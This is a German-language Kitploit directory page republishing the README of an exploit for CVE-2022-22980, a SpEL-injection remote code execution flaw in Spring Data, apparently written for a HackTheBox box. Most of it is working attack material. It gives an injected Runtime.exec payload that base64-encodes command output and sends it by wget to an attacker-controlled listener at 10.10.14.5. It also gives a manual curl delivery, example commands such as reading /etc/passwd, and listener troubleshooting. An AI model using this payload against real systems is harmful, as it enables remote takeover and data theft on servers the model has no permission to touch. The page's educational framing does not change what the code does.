Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22980 — Ausnutzung von CVE-2022-22980 | Kitploit
Tools/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Payload-GenerierungExploitationWebanwendungs-ExploitationCTFCommand and ControlLernen & Bildung
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Ausnutzung von CVE-2022-22980

Repository anzeigen
14vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SpEL RCE Exploit - CVE-2022-22980

Exploit für die Ausführung von Remotecode (RCE) auf Spring Data über eine SpEL-Injektion (Spring Expression Language).

Beschreibungen

Schwachstelle

Die Box stellt einen Endpunkt /search bereit, der einen Parameter tracking_id akzeptiert, der anfällig für SpEL-Injektion ist. Diese Injektion ermöglicht die Ausführung bösartiger Java-Ausdrücke direkt auf dem Server.

Ausnutzungsprinzip

  1. Eine SpEL-Expression injizieren, die einen Shell-Befehl über Runtime.getRuntime().exec() ausführt
  2. Die Ausgabe des Befehls in Base64 kodieren
  3. Das Ergebnis über eine HTTP-GET-Anfrage an einen kontrollierten Listener exfiltrieren
  4. Das Ergebnis dekodieren und anzeigen

Verwendung

Voraussetzungen

  • Python 3.x mit den Standardmodulen (, , , )
Tool herunterladen
http.server
subprocess
threading
base64
  • curl auf Ihrem lokalen Rechner
  • wget auf dem Zielrechner (für die Exfiltration)
  • Ein verfügbarer Port 80 (oder ändern Sie LPORT im Skript)
  • Netzwerkzugriff zum Ziel
  • Konfiguration

    Ändern Sie die Parameter im Skript entsprechend Ihrer Umgebung:

    root@kitploit:~
    TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
    LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
    LPORT = 80                                  # Port d'écoute
    

    Ausführung

    root@kitploit:~
    # Einfacher Befehl
    python3 spel_shell.py "whoami"
    
    # Befehl mit Pipe
    python3 spel_shell.py "cat /etc/passwd"
    
    # Systemenumeration
    python3 spel_shell.py "uname -a"
    
    # Netzwerkzugriff prüfen
    python3 spel_shell.py "curl -s http://httpbin.org/get"
    

    Beispielausgabe

    root@kitploit:~
    [*] Starting listener...
    [*] Server listening on port 80
    [*] Sending payload...
    Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
    [*] Received data: cm9vdA==
    
    [+] Command output:
    
    root
    

    Manuelles Payload (Referenz)

    Wenn Sie das Payload ohne Skript testen möchten:

    root@kitploit:~
    # Terminal 1: Listener starten
    python3 -m http.server 80
    
    # Terminal 2: Payload senden
    curl -X POST \
      -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
      http://<IP_CIBLE>:8080/search
    

    Fehlerbehebung

    Fehler: "Address already in use"

    Port 80 ist belegt. Lösungen:

    root@kitploit:~
    # Überprüfen, welcher Prozess den Port verwendet
    sudo netstat -tlnp | grep :80
    
    # Apache stoppen, falls aktiv
    sudo systemctl stop apache2
    
    # Oder einen anderen Port verwenden
    # Ändern Sie LPORT im Skript und testen Sie
    

    Keine Antwort ("No response received")

    1. Überprüfen Sie die Netzwerkkonnektivität: Stellen Sie sicher, dass das Ziel Ihren LHOST:LPORT erreichen kann
    2. Testen Sie mit einem einfachen Befehl: python3 spel_shell.py "echo test"
    3. Überprüfen Sie die Port-Berechtigungen: Port 80 erfordert sudo unter Linux
    4. Überprüfen Sie die LHOST-IP: Verwenden Sie ifconfig (tun0 für HTB) und nicht 127.0.0.1

    Base64-Dekodierungsfehler

    Wenn Sie "Raw data received" anstelle von "Command output" sehen, hat der Befehl möglicherweise keine gültige Ausgabe erzeugt. Testen Sie einen Befehl, der immer eine Ausgabe liefert.

    Skriptarchitektur

    root@kitploit:~
    1. start_server() - Startet einen HTTP-Server auf Port 80
                       ↓
    2. Sendet das SpEL-Payload per curl an das Ziel
                       ↓
    3. Das Ziel führt den Befehl aus und kodiert das Ergebnis in Base64
                       ↓
    4. wget sendet das Ergebnis an den Listener (GET http://LHOST:LPORT/<data>)
                       ↓
    5. Der Handler empfängt die Daten und speichert sie
                       ↓
    6. Das Skript dekodiert und zeigt das Ergebnis an
    

    Warnhinweis

    Dieses Skript wird zu Bildungszwecken für HackTheBox-Boxen bereitgestellt. Verwenden Sie es nur in Umgebungen, die Sie testen dürfen.


    Autor : Eliasdekiniweek Datum : Februar 2026
    Sprache : Python 3